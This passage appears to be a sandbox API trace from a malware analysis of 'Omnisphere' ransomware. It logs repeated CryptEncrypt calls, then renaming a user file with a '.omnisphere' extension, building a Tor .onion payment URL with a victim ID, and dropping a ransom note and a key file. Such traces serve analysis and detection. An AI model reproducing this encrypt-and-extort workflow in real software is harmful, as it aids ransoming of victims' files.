dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.319] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.320] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.323] CryptDestroyKey (hKey=0x1639868) returned 1 [0128.323] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0128.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.323] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.323] GetProcessHeap () returned 0x1600000 [0128.323] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1712150 [0128.323] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\d00655d2aa12ff6d.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\d00655d2aa12ff6d.automaticdestinations-ms.omnisphere")) returned 1 [0128.324] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms.omnisphere.id" [0128.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\d00655d2aa12ff6d.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.326] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.328] CloseHandle (hObject=0x388) returned 1 [0128.329] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.329] CloseHandle (hObject=0x3c0) returned 1 [0128.329] SetEndOfFile (hFile=0x288) returned 1 [0128.329] FlushFileBuffers (hFile=0x288) returned 1 [0128.334] CloseHandle (hObject=0x288) returned 1 [0128.335] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.335] GetProcessHeap () returned 0x1600000 [0128.335] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fd6b0 [0128.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.335] GetProcessHeap () returned 0x1600000 [0128.335] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f2068 [0128.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f2068, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.335] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.335] GetProcessHeap () returned 0x1600000 [0128.335] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710440 [0128.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710440, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.335] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.335] GetProcessHeap () returned 0x1600000 [0128.335] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb720 [0128.335] PathCombineW (in: pszDest=0x16fb720, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.335] GetProcessHeap () returned 0x1600000 [0128.335] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170b978 [0128.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.336] WriteFile (in: hFile=0x288, lpBuffer=0x170b978*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170b978*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.336] CloseHandle (hObject=0x288) returned 1 [0128.336] GetProcessHeap () returned 0x1600000 [0128.336] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fd6b0 | out: hHeap=0x1600000) returned 1 [0128.336] GetProcessHeap () returned 0x1600000 [0128.336] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.336] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.337] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.337] CloseHandle (hObject=0x288) returned 1 [0128.337] GetProcessHeap () returned 0x1600000 [0128.337] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.337] GetProcessHeap () returned 0x1600000 [0128.337] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, 